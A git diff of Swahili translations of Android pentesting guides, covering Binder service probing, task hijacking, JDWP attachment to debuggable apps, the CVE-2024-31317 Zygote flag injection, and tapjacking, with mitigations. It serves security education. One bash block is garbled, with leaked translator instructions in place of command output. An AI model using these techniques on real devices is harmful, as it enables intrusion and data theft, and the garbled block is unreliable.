mashambulizi ya XSS yanavyoweza kupimwa. -- **WebChromeClient** inafanya kazi kama uzoefu kamili wa kivinjari cha Chrome. +- **WebChromeClient** inafanya kazi zaidi kama uzoefu kamili wa kivinjari cha Chrome. Jambo muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kikuu cha kifaa. @@ -346,15 +346,15 @@ Ili kudhibiti ufikiaji wa faili: ### **Saini ya Kidijitali ya Programu** -- **Saini ya kidijitali** ni lazima kwa programu za Android, kuhakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kuwasilishwa kwa kifaa. +- **Saini ya kidijitali** ni lazima kwa programu za Android, kuhakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu unatumia cheti kwa ajili ya utambulisho wa programu na lazima uhakikishwe na meneja wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zimejitia saini au kuthibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa usafirishaji wake kwa kifaa. ### **Uhakikisho wa Programu kwa Usalama Bora** -- Kuanzia **Android 4.2**, kipengele kinachoitwa **Verify Apps** kinawaruhusu watumiaji kuangalia programu kwa usalama kabla ya usakinishaji. **Mchakato huu wa uhakikisho** unaweza kuwatahadharisha watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye uharibifu mkubwa, kuboresha usalama wa mtumiaji. +- Kuanzia **Android 4.2**, kipengele kinachoitwa **Verify Apps** kinawaruhusu watumiaji kuangalia programu kwa usalama kabla ya usakinishaji. Mchakato huu wa **uhakikisho** unaweza kuwatahadharisha watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye uharibifu mkubwa, kuboresha usalama wa mtumiaji. ### **Usimamizi wa Kifaa cha Simu (MDM)** -- **MDM solutions** zinatoa **uangalizi na usalama** kwa vifaa vya simu kupitia **Device Administration API**. Zinahitaji usakinishaji wa programu ya Android ili kudhibiti na kulinda vifaa vya simu kwa ufanisi. Kazi kuu ni pamoja na **kulazimisha sera za nywila**, **kulazimisha usimbaji wa hifadhi**, na **kuruhusu kufuta data kwa mbali**, kuhakikisha udhibiti na usalama wa kina juu ya vifaa vya simu. +- **MDM solutions** zinatoa **uangalizi na usalama** kwa vifaa vya simu kupitia **Device Administration API**. Zinahitaji usakinishaji wa programu ya Android ili kusimamia na kulinda vifaa vya simu kwa ufanisi. Kazi kuu ni pamoja na **kulazimisha sera za nywila**, **kulazimisha usimbaji wa hifadhi**, na **kuruhusu kufuta data kwa mbali**, kuhakikisha udhibiti na usalama wa kina juu ya vifaa vya simu. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); @@ -369,7 +369,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8); Android *Binder* IPC inatoa huduma nyingi **za mfumo na za wauzaji**. Huduma hizo zinakuwa **uso wa shambulio** wakati zinapopelekwa bila ukaguzi mzuri wa ruhusa (tabaka la AIDL lenyewe halifanyi *hakuna* udhibiti wa ufikiaji). -### 1. Gundua huduma zinazotembea +### 1. Kugundua huduma zinazotembea ```bash # from an adb shell (USB or wireless) service list # simple one-liner @@ -378,8 +378,9 @@ am list services # identical output, ActivityManager wrapper 1. Tafsiri kila kitu kwa usahihi na kwa ufupi. 2. Usipoteze taarifa muhimu katika tafsiri. 3. Usitafsiri alama za markdown au vitambulisho vya html. -4. Usitafsiri viungo au njia. -5. Usibadilishe au kutafsiri vitambulisho vyovyote. +4. Usibadilishe viungo au njia. +5. Usitafsiri majina ya mbinu za hacking au maneno ya kawaida ya hacking. +6. Usiongeze chochote kisichohitajika katika majibu yako. ``` 145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics] 146 wifi : [android.net.wifi.IWifiManager] @@ -400,8 +401,8 @@ A valid reply returns the interface name encoded as a UTF-16 string inside a `Pa Syntax: `service call [type value ...]` Common argument specifiers: -* `i32 ` – thamani ya 32-bit iliyoandikwa -* `i64 ` – thamani ya 64-bit iliyoandikwa +* `i32 ` – thamani ya 32-bit iliyoidhinishwa +* `i64 ` – thamani ya 64-bit iliyoidhinishwa * `s16 ` – mfuatano wa UTF-16 (Android 13+ inatumia `utf16`) Mfano – anzisha ufuatiliaji wa mtandao na uid **1** kwenye simu ya MediaTek: @@ -422,7 +423,7 @@ done ``` Ikiwa huduma ilikusanywa **na proguard** ramani lazima ikadiriwe - angalia hatua inayofuata. -### 5. Ramani za nambari ↔ mbinu kupitia onTransact() +### 5. Mipangilio ya codes ↔ mbinu kupitia onTransact() Fanya decompile jar/odex inayotekeleza interface (kwa AOSP stubs angalia `/system/framework`; OEMs mara nyingi hutumia `/system_ext` au `/vendor`). Tafuta `Stub.onTransact()` - ina `switch(transactionCode)` kubwa: ```java @@ -434,10 +435,10 @@ updateCtaAppStatus(appId, ok); reply.writeNoException(); return true; ``` -Sasa prototipu na **aina za parameta** ziko wazi kabisa. +Sasa prototipu na **aina za parameta** zimeeleweka wazi. ### 6. Kutambua ukosefu wa ukaguzi wa ruhusa -Utekelezaji (mara nyingi darasa la ndani `Impl`) unawajibika kwa uthibitisho: +Utekelezaji (mara nyingi darasa la ndani `Impl`) unawajibika kwa mamlaka: ```java private void updateCtaAppStatus(int uid, boolean status) { if (!isPermissionAllowed()) { @@ -452,9 +453,9 @@ Utafiti wa kesi – *MediaTek* `startMonitorProcessWithUid()` (muamala **8**) in ### 7. Kuandaa tathmini Zana / skripti zinazoongeza kasi ya upelelezi wa Binder: -* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – inaonyesha `/dev/binderfs` na nodi za huduma kila moja +* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – inafichua `/dev/binderfs` na nodi za huduma kwa kila huduma * [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – inatembea kwenye jedwali la binder na kuchapisha ACLs -* Frida kiufupi: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))` +* Kiufupi cha Frida: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))` --- diff --git a/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index 9e11227e8..61bef8239 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -40,7 +40,7 @@ android:launchMode="singleTask" > ``` 2. Programu mbaya inaanzishwa mara moja ili kazi (ikiwa na affinity iliyodanganywa) iwepo katika kazi za hivi karibuni. -3. Wakati mtumiaji baadaye anafungua programu halisi, Android inakuta tayari kuna kazi ambayo **root affinity inalingana na kifurushi** na inarudisha kazi hiyo kwenye foreground. +3. Wakati mtumiaji baadaye anafungua programu halisi, Android inagundua tayari kuna kazi ambayo **root affinity inalingana na kifurushi** na inarudisha kazi hiyo kwenye foreground. 4. UI ya mshambuliaji inaonyeshwa kwanza. ### Default–Affinity (no `singleTask`) variant – Caller ID case study @@ -68,7 +68,7 @@ android:taskAffinity="com.caller.id.phone.number.block" > ``` 3. Mara tu mtumiaji anapoweka na kufungua programu mbaya **mara moja**, kazi ambayo affinity yake inalingana na kifurushi cha mwathirika inakuwepo (lakini inakaa nyuma). -4. Wakati programu halisi ya Caller ID inazinduliwa, Android inatumia tena kazi hiyo na kuleta `HackActivity` kwenye foreground → dirisha la udukuzi/unyanyasaji wa ruhusa. +4. Wakati programu halisi ya Caller ID inazinduliwa, Android inatumia tena kazi hiyo na kuleta `HackActivity` kwenye foreground → dirisha la udukuzi/rubani mbaya. > NOTE: Kuanzia na **Android 11 (API 30)** mfumo hauweki vifurushi viwili ambavyo si sehemu ya UID moja kwenye kazi moja kwa default, ikipunguza toleo hili maalum. Matoleo ya zamani yanaendelea kuwa hatarini. @@ -81,10 +81,10 @@ Bulletin ya usalama ya Google ya Mei-2020 ilirekebisha toleo la juu zaidi linalo Mambo muhimu: * Programu mbaya isiyo na ruhusa inaweza, mara tu ikifunguliwa, kuzunguka kazi zinazotembea na kuita APIs zilizofichwa ili **kuhamasisha** shughuli yake mwenyewe kwenye kazi yoyote. -* Kwa sababu shughuli inaingizwa baada ya muda wa kukimbia, wala `launchMode` wala uchambuzi wa static wa manifest hauwezi kugundua shambulio hilo mapema. +* Kwa sababu shughuli inaingizwa baada ya muda wa kukimbia, wala `launchMode` wala uchambuzi wa static wa manifest hauwezi kugundua shambulio kabla. * Imefanyiwa marekebisho kwa kurudisha ukaguzi kwenye **Android 8.0/8.1/9** (Mei 2020 SPL). **Android 10 na baadaye hazihusiki.** -Gundua kwenye vifaa vilivyorekebishwa kabla ya kurekebishwa inaweza kufanywa kwa `adb shell dumpsys activity activities` na kuangalia shughuli za kushangaza ambazo jina la kifurushi kinatofautiana na *affinity* ya kazi. +Ugunduzi kwenye vifaa vilivyorekebishwa kabla unaweza kufanywa kwa `adb shell dumpsys activity activities` na kuangalia shughuli za kushuku ambazo jina la kifurushi kinatofautiana na *affinity* ya kazi. Kuzuia kwa vifaa vya zamani ni sawa na udukuzi wa Kazi wa kawaida **pamoja na** uthibitisho wa wakati wa kukimbia (kwa mfano, kuita [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) na kuthibitisha jina lako la kifurushi). @@ -92,7 +92,7 @@ Kuzuia kwa vifaa vya zamani ni sawa na udukuzi wa Kazi wa kawaida **pamoja na** ## Detection & Exploitation checklist -1. **Static review** – Pull `AndroidManifest.xml` kutoka kwa APK lengwa na uhakikishe kwamba kila `` (au kipengele cha jumla ``) kina `android:taskAffinity=""` (bila maudhui) **au** thamani iliyobinafsishwa. Zana kama: +1. **Static review** – Pull `AndroidManifest.xml` kutoka APK lengwa na kuangalia kwamba kila `` (au kipengele cha jumla ``) kina `android:taskAffinity=""` (bila maudhui) **au** thamani iliyobinafsishwa. Zana kama: ```bash # Using apkanalyzer (Android SDK) apkanalyzer manifest print app.apk | grep -i taskaffinity @@ -104,7 +104,7 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity ```bash adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity" ``` -Kazi ambayo root affinity yake inalingana na kifurushi cha mwathirika lakini shughuli yake ya juu inahusiana na kifurushi *tofauti* ni bendera nyekundu. +Kazi ambayo root affinity inalingana na kifurushi cha mwathirika lakini shughuli yake ya juu inahusiana na kifurushi *tofauti* ni bendera nyekundu. 3. Tengeneza programu mbaya kama ilivyoelezwa hapo juu, au tumia **[Drozer](https://github.com/WithSecureLabs/drozer)**: ```bash drozer console connect @@ -120,7 +120,7 @@ Waendelezaji wanapaswa: * Kuweka wazi `android:taskAffinity=""` kwenye kiwango cha `` (inapendekezwa) **au** kutoa kila shughuli affinity ya kipekee, ya kibinafsi. * Kwa skrini zenye nyeti sana, changanya hapo juu na `android:launchMode="singleInstance"` au ulinzi wa kisasa wa [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode). -* Pandisha `targetSdkVersion` ya programu na kulazimisha mabadiliko ya tabia ya **Android 11** ambapo kazi hazishirikiwa kati ya vifurushi kwa default. +* Pandisha `targetSdkVersion` ya programu na kutekeleza mabadiliko ya tabia ya **Android 11** ambapo kazi hazishirikiwa kati ya vifurushi kwa default. * Lenga **Android 12 (API 31) au zaidi** ili sifa ya lazima `android:exported` ilazimishe waendelezaji kukagua kila kipengele kinachoweza kufikiwa kutoka nje. * Fikiria kujilinda wakati wa kukimbia: mara kwa mara uliza `ActivityTaskManager` ili kuhakikisha kwamba kifurushi cha shughuli yako ya juu kinalingana na chako. @@ -128,7 +128,7 @@ Waendelezaji wanapaswa: ## Related UI-Hijacking techniques -Udukuzi wa kazi mara nyingi unachanganywa na au kubadilishwa na **tapjacking** (udanganyifu wa UI unaotegemea overlay). Utafiti wa 2025 **TapTrap** ulionyesha kwamba shughuli za *animation-driven* zisizo na uwazi zinaweza kupita vizuizi vya overlay-touch vilivyowekwa katika Android 12–14 na bado kuwadanganya watumiaji kutoa ruhusa hatari. Ingawa TapTrap si udukuzi wa *task* kwa usahihi, lengo la mwisho (kibofyo cha udukuzi) ni sawa – hivyo tathmini za kisasa zinapaswa kuangalia uso wote wa shambulio. +Udukuzi wa kazi mara nyingi unachanganywa na au kubadilishwa na **tapjacking** (udanganyifu wa UI wa overlay). Utafiti wa 2025 **TapTrap** ulionyesha kwamba shughuli za *animation-driven* zisizo na uwazi zinaweza kupita vizuizi vya overlay-touch vilivyowekwa katika Android 12–14 na bado kuwadanganya watumiaji kutoa ruhusa hatari. Ingawa TapTrap si kwa usahihi *task* hijacking, lengo la mwisho (kuvutia kubonyeza) ni sawa – hivyo tathmini za kisasa zinapaswa kuangalia uso wote wa shambulio. --- diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 509104d84..08c802452 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -33,7 +33,7 @@ Maudhui yanategemea https://medium.com/@shubhamsonani/hacking-with-precision-byp - Kwa kudumu, tumia `adb shell am setup-debug-app –w ––persistent `. - Kuondoa bendera zote, tumia `adb shell am clear-debug-app `. -5. **Andaa kwa Debugging katika Android Studio:** +5. **Jiandikishe kwa Debugging katika Android Studio:** - Tembea katika Android Studio hadi _File -> Open Profile or APK_. - Fungua APK iliyorecompiled. @@ -43,7 +43,7 @@ Maudhui yanategemea https://medium.com/@shubhamsonani/hacking-with-precision-byp ### **Kupita Ukaguzi** -Programu, katika sehemu fulani, itathibitisha ikiwa inapatikana kwa debugging na pia itakagua binaries zinazoashiria kifaa kilichoshikiliwa. Debugger inaweza kutumika kubadilisha taarifa za programu, kuondoa bit ya debuggable, na kubadilisha majina ya binaries zinazotafutwa ili kupita ukaguzi huu. +Programu, katika hatua fulani, itathibitisha ikiwa inapatikana kwa debugging na pia itakagua binaries zinazoashiria kifaa kilichoshikiliwa. Debugger inaweza kutumika kubadilisha taarifa za programu, kuondoa kipande cha debuggable, na kubadilisha majina ya binaries yanayotafutwa ili kupita ukaguzi huu. Kwa ukaguzi wa debuggable: @@ -64,32 +64,32 @@ Uonyeshaji ulitolewa kwa kutumia programu yenye udhaifu inayojumuisha kitufe na ## **Kuangalia Uthibitisho** - Programu ilitolewa kwa kutumia `apktool` ili kufikia faili ya `AndroidManifest.xml`. -- Uwepo wa `android_debuggable="true"` katika AndroidManifest.xml unaonyesha kuwa programu inaweza kudebugged na inahatarisha kutumika. +- Uwepo wa `android_debuggable="true"` katika AndroidManifest.xml unaonyesha kuwa programu inaweza kudebugged na inahatarishwa kwa matumizi mabaya. - Inafaa kutaja kuwa `apktool` inatumika pekee kuangalia hali ya debuggable bila kubadilisha msimbo wowote. ## **Kuandaa Mipangilio** -- Mchakato ulijumuisha kuanzisha emulator, kusakinisha programu yenye udhaifu, na kutumia `adb jdwp` ili kubaini bandari za Dalvik VM zinazot listening. +- Mchakato ulijumuisha kuanzisha emulator, kusakinisha programu yenye udhaifu, na kutumia `adb jdwp` kutambua bandari za Dalvik VM zinazotafutwa. - JDWP (Java Debug Wire Protocol) inaruhusu debugging ya programu inayotembea katika VM kwa kufichua bandari ya kipekee. - Kuelekeza bandari ilikuwa muhimu kwa debugging ya mbali, ikifuatiwa na kuunganisha JDB kwenye programu lengwa. ## **Kuingiza Msimbo Wakati wa Utendaji** -- Uthibitisho ulifanywa kwa kuweka breakpoints na kudhibiti mtiririko wa programu. +- Utekelezaji ulifanywa kwa kuweka breakpoints na kudhibiti mtiririko wa programu. - Amri kama `classes` na `methods ` zilitumika kufichua muundo wa programu. - Breakpoint ilipangwa katika njia ya `onClick`, na utekelezaji wake ulidhibitiwa. -- Amri za `locals`, `next`, na `set` zilitumika kuchunguza na kubadilisha mabadiliko ya ndani, hasa kubadilisha ujumbe wa "Try Again" kuwa "Hacked". +- Amri za `locals`, `next`, na `set` zilitumika kukagua na kubadilisha mabadiliko ya ndani, hasa kubadilisha ujumbe wa "Try Again" kuwa "Hacked". - Msimbo uliobadilishwa ulitekelezwa kwa kutumia amri ya `run`, kwa mafanikio kubadilisha matokeo ya programu kwa wakati halisi. -Mfano huu ulionyesha jinsi tabia ya programu inayoweza kudebugged inaweza kudhibitiwa, ikionyesha uwezekano wa udanganyifu wa zaidi kama kupata ufikiaji wa shell kwenye kifaa katika muktadha wa programu. +Mfano huu ulionyesha jinsi tabia ya programu inayoweza kudebugged inaweza kudhibitiwa, ikionyesha uwezekano wa matumizi mabaya zaidi kama kupata ufikiaji wa shell kwenye kifaa katika muktadha wa programu. --- # 2024 – Kugeuza **programu yoyote** kuwa mchakato wa debuggable (CVE-2024-31317) -Hata kama APK lengwa _siyo_ iliyotolewa na bendera ya `android:debuggable`, utafiti wa hivi karibuni umeonyesha kuwa inawezekana kulazimisha **programu zisizo na mpangilio** kuanza na bendera ya wakati wa `DEBUG_ENABLE_JDWP` kwa kutumia njia ambayo Zygote inasoma hoja za amri. +Hata kama APK lengwa _siyo_ imetolewa na bendera ya `android:debuggable`, utafiti wa hivi karibuni umeonyesha kuwa inawezekana kulazimisha **programu za kiholela** kuanzishwa na bendera ya wakati `DEBUG_ENABLE_JDWP` kwa kutumia njia ambayo Zygote inasoma hoja za amri. -* **Udhaifu:** Uthibitishaji usio sahihi wa `--runtime-flags` zinazotolewa kupitia socket ya amri ya Zygote inaruhusu mshambuliaji ambaye anaweza kufikia `system_server` (kwa mfano kupitia shell ya `adb` yenye mamlaka ambayo ina ruhusa ya `WRITE_SECURE_SETTINGS`) kuingiza vigezo vya ziada. Wakati amri iliyoundwa inarudiwa na `system_server`, programu ya mwathirika inafanywa kama _debuggable_ na na thread ya JDWP inayosikiliza. Tatizo hili linafuatiliwa kama **CVE-2024-31317** na lilirekebishwa katika Bulletin ya Usalama ya Android ya Juni 2024. +* **Udhaifu:** Uthibitisho usiofaa wa `--runtime-flags` zinazotolewa kupitia socket ya amri ya Zygote unaruhusu mshambuliaji ambaye anaweza kufikia `system_server` (kwa mfano kupitia shell ya `adb` yenye mamlaka ambayo ina ruhusa ya `WRITE_SECURE_SETTINGS`) kuingiza vigezo vya ziada. Wakati amri iliyoundwa inarudiwa na `system_server`, programu ya mwathirika inafanywa kama _debuggable_ na na thread ya JDWP inayosikiliza. Tatizo hili linafuatiliwa kama **CVE-2024-31317** na lilirekebishwa katika Bulletin ya Usalama ya Android ya Juni 2024. * **Athari:** Ufikiaji kamili wa kusoma/kandika kwenye saraka ya data ya faragha ya **programu yoyote** (ikiwemo zile zenye mamlaka kama `com.android.settings`), wizi wa tokeni, kupita MDM, na katika kesi nyingi njia ya moja kwa moja ya kupandisha mamlaka kwa kutumia mwisho wa IPC uliotolewa wa mchakato sasa-debuggable. * **Toleo lililoathirika:** Android 9 hadi 14 kabla ya kiwango cha patch ya Juni 2024. @@ -107,12 +107,12 @@ adb jdwp # obtain the PID adb forward tcp:8700 jdwp: jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 ``` -> Thamani iliyoundwa katika hatua ya 1 inavunja parser kutoka kwenye “fast-path” na kuongezea amri ya pili ya synthetic ambapo `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) inakubaliwa kana kwamba imetolewa na mfumo. Mara tu programu inapozaliwa, soketi ya JDWP inafunguliwa na hila za kawaida za dynamic-debug (badilisha mbinu, pataji ya mabadiliko, sindikiza ya moja kwa moja ya Frida, nk.) zinaweza kufanyika **bila kubadilisha APK au picha ya kuanzisha kifaa**. +> Thamani iliyoundwa katika hatua ya 1 inavunja parser kutoka kwenye "fast-path" na kuongezea amri ya pili ya synthetic ambapo `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) inakubaliwa kana kwamba imetolewa na mfumo. Mara tu programu inapozaliwa, soketi ya JDWP inafunguliwa na hila za kawaida za dynamic-debug (badilisha mbinu, pataji ya mabadiliko, sindikiza ya moja kwa moja ya Frida, nk.) zinaweza kufanyika **bila kubadilisha APK au picha ya kuanzisha kifaa**. ## Ugunduzi & Kupunguza * Pataji hadi **2024-06-01** (au baadaye) kiwango cha usalama – Google imeimarisha `ZygoteCommandBuffer` ili amri zinazofuata zisiweze kupitishwa kwa njia hii. -* Punguza ufikiaji wa `WRITE_SECURE_SETTINGS` / `shell` kwenye vifaa vya uzalishaji. Uvunjaji huu unahitaji ruhusa hii, ambayo kawaida inashikiliwa tu na ADB au programu zenye mamlaka ya OEM. +* Punguza ufikiaji wa `WRITE_SECURE_SETTINGS` / `shell` kwenye vifaa vya uzalishaji. Ulaghai huu unahitaji ruhusa hii, ambayo kawaida inashikiliwa tu na ADB au programu zenye mamlaka ya OEM. * Kwenye meli zinazodhibitiwa na EMM/MDM, enforce `ro.debuggable=0` na kataa shell kupitia `adb disable-verifier`. --- diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index d44ecf423..2833621e5 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -4,7 +4,7 @@ ## **Basic Information** -**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha waziwazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\ +**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoifunika kwa wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\ Kwa hivyo, inafanya **mtumiaji kuwa kipofu na kutokujua kwamba anafanya vitendo kwenye programu ya mwathirika**. ### Detection @@ -21,12 +21,12 @@ Unaweza pia kuangalia toleo la chini la SDK la programu, ukichunguza thamani ya #### `filterTouchesWhenObscured` -Ikiwa **`android:filterTouchesWhenObscured`** imewekwa kuwa **`true`**, `View` haitapokea kugusa wakati dirisha la mtazamo linapofichwa na dirisha lingine linaloonekana. +Ikiwa **`android:filterTouchesWhenObscured`** imewekwa kuwa **`true`**, `View` haitapokea mguso wakati dirisha la mtazamo linapofunikwa na dirisha lingine linaloonekana. #### **`setFilterTouchesWhenObscured`** Sifa **`setFilterTouchesWhenObscured`** iliyowekwa kuwa kweli pia inaweza kuzuia matumizi ya udhaifu huu ikiwa toleo la Android ni la chini.\ -Ikiwa imewekwa kuwa **`true`**, kwa mfano, kitufe kinaweza kuondolewa kiotomatiki **ikiwa kimefichwa**: +Ikiwa imewekwa kuwa **`true`**, kwa mfano, kitufe kinaweza ku **zuiliwa kiotomatiki ikiwa kimefunikwa**: ```xml